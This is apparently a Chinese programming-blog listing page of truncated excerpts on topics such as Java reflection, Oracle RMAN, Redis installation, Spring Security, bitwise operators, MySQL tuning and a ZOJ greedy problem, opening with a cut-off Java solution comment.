public class MaxProduct {
/**
* 编程之美 子数组的最大乘积
* 题目: 给定一个长度为N的整数数组，只允许使用乘法，不能用除法，计算任意N-1个数的组合中乘积中最大的一组，并写出算法的时间复杂度。
* 以下程序对应书上两种方法，求得“乘积中最大的一组”的乘积——都是有溢出的可能的。
* 但按题目的意思，是要求得这个子数组，而不
读书笔记-2
chengxuyuancsdn
读书笔记
1、反射
2、oracle年-月-日 时-分-秒
3、oracle创建有参、无参函数
4、oracle行转列
5、Struts2拦截器
6、Filter过滤器(web.xml)
1、反射
(1)检查类的结构
在java.lang.reflect包里有3个类Field,Method,Constructor分别用于描述类的域、方法和构造器。
2、oracle年月日时分秒
s
[求学与房地产]慎重选择IT培训学校
comsci
it
关于培训学校的教学和教师的问题,我们就不讨论了,我主要关心的是这个问题
培训学校的教学楼和宿舍的环境和稳定性问题
我们大家都知道，房子是一个比较昂贵的东西，特别是那种能够当教室的房子...
&nb
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系
daizj
oracle rman filesperset PARALLELISM
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系 转
PARALLELISM ---
我们还可以通过parallelism参数来指定同时"自动"创建多少个通道：
RMAN > configure device type disk parallelism 3 ;
表示启动三个通道，可以加快备份恢复的速度。
简单排序:冒泡排序
dieslrae
冒泡排序
public void bubbleSort(int[] array){
for(int i=1;i<array.length;i++){
for(int k=0;k<array.length-i;k++){
if(array[k] > array[k+1]){
初二上学期难记单词三
dcj3sjt126com
sciet
concert 音乐会
tonight 今晚
famous 有名的；著名的
song 歌曲
thousand 千
accident 事故；灾难
careless 粗心的，大意的
break 折断；断裂；破碎
heart 心（脏）
happen 偶尔发生，碰巧
tourist 旅游者；观光者
science （自然）科学
marry 结婚
subject 题目；
I.安装Memcahce 1. 安装依赖包libevent Memcache需要安装libevent,所以安装前可能需要执行 Shell代码 收藏代码
dcj3sjt126com
redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
前面3步应该没有问题，主要的问题是执行make的时候，出现了异常。
异常一：
make[2]: cc: Command not found
异常原因：没有安装g
并发容器
shuizhaosi888
并发容器
通过并发容器来改善同步容器的性能，同步容器将所有对容器状态的访问都串行化，来实现线程安全，这种方式严重降低并发性，当多个线程访问时，吞吐量严重降低。
并发容器ConcurrentHashMap
替代同步基于散列的Map，通过Lock控制。
&nb
Spring Security（12）——Remember-Me功能
234390216
Spring Security Remember Me 记住我
Remember-Me功能
目录
1.1 概述
1.2 基于简单加密token的方法
1.3 基于持久化token的方法
1.4 Remember-Me相关接口和实现
位运算
焦志广
位运算
一、位运算符Ｃ语言提供了六种位运算符：
& 按位与
| 按位或
^ 按位异或
~ 取反
<< 左移
>> 右移
1. 按位与运算 按位与运算符"&"是双目运算符。其功能是参与运算的两数各对应的二进位相与。只有对应的两个二进位均为1时，结果位才为1 ，否则为0。参与运算的数以补码方式出现。
例如：9&am
nodejs 数据库连接 mongodb mysql
liguangsong
mongodb mysql node 数据库连接
1.mysql 连接
package.json中dependencies加入
"mysql":"~2.7.0"
执行 npm install
在config 下创建文件 database.js
java动态编译
olive6615
java HotSpot jvm 动态编译
在HotSpot虚拟机中，有两个技术是至关重要的，即动态编译(Dynamic compilation)和Profiling。
HotSpot是如何动态编译Javad的bytecode呢？Java bytecode是以解释方式被load到虚拟机的。HotSpot里有一个运行监视器，即Profile Monitor,专门监视
Storm0.9.5的集群部署配置优化
roadrunners
优化 storm.yaml
nimbus结点配置（storm.yaml）信息：
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional inf
101个MySQL 的调节和优化的提示
tomcat_oracle
mysql
1. 拥有足够的物理内存来把整个InnoDB文件加载到内存中——在内存中访问文件时的速度要比在硬盘中访问时快的多。 2. 不惜一切代价避免使用Swap交换分区 – 交换时是从硬盘读取的，它的速度很慢。 3. 使用电池供电的RAM（注：RAM即随机存储器）。 4. 使用高级的RAID（注：Redundant Arrays of Inexpensive Disks，即磁盘阵列
zoj 3829 Known Notation(贪心)
阿尔萨斯
ZOJ
题目链接：zoj 3829 Known Notation
题目大意：给定一个不完整的后缀表达式，要求有2种不同操作，用尽量少的操作使得表达式完整。
解题思路：贪心，数字的个数要要保证比∗的个数多1，不够的话优先补在开头是最优的。然后遍历一遍字符串，碰到数字+1，碰到∗-1,保证数字的个数大于等1，如果不够减的话，可以和最后面的一个数字交换位置（用栈维护十分方便），因为添加和交换代价都是1
